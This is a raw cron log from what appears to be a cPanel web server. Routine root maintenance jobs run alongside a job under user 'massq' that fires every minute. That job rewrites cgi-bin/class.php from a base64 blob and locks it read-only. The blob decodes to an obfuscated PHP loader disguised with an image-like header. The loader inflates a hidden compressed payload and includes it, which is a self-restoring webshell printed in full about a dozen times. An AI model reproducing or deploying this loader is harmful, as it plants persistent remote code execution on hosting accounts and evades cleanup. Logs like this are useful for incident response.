Sep  2 10:56:01 server CROND[6998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:57:02 server CROND[7385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:57:02 server CROND[7386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:57:02 server CROND[7387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:57:02 server CROND[7388]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:58:01 server CROND[7780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:58:01 server CROND[7781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:58:01 server CROND[7782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:59:01 server CROND[8167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:59:01 server CROND[8168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:59:01 server CROND[8169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:00:01 server CROND[8587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:00:01 server CROND[8588]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 11:00:01 server CROND[8590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:00:01 server CROND[8595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:00:01 server CROND[8594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:00:01 server CROND[8598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:00:01 server CROND[8593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:00:01 server CROND[8592]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:00:01 server CROND[8599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:01:01 server CROND[9536]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 11:01:01 server CROND[9537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:01:01 server CROND[9538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:01:01 server CROND[9539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:01:01 server run-parts(/etc/cron.hourly)[9536]: starting 0anacron
Sep  2 11:01:01 server run-parts(/etc/cron.hourly)[9558]: finished 0anacron
Sep  2 11:02:01 server CROND[10044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:02:01 server CROND[10046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:02:01 server CROND[10045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:03:01 server CROND[10452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:03:01 server CROND[10453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:03:01 server CROND[10454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:04:01 server CROND[10837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:04:01 server CROND[10836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:04:01 server CROND[10838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:05:01 server CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:05:01 server CROND[11232]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 11:05:01 server CROND[11233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:05:01 server CROND[11234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:05:01 server CROND[11236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:05:01 server CROND[11235]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:05:01 server CROND[11239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:05:01 server CROND[11238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:05:01 server CROND[11237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:06:01 server CROND[12225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:06:01 server CROND[12226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:06:01 server CROND[12227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:07:01 server CROND[12646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:07:01 server CROND[12647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:07:01 server CROND[12648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:08:01 server CROND[13031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:08:01 server CROND[13032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
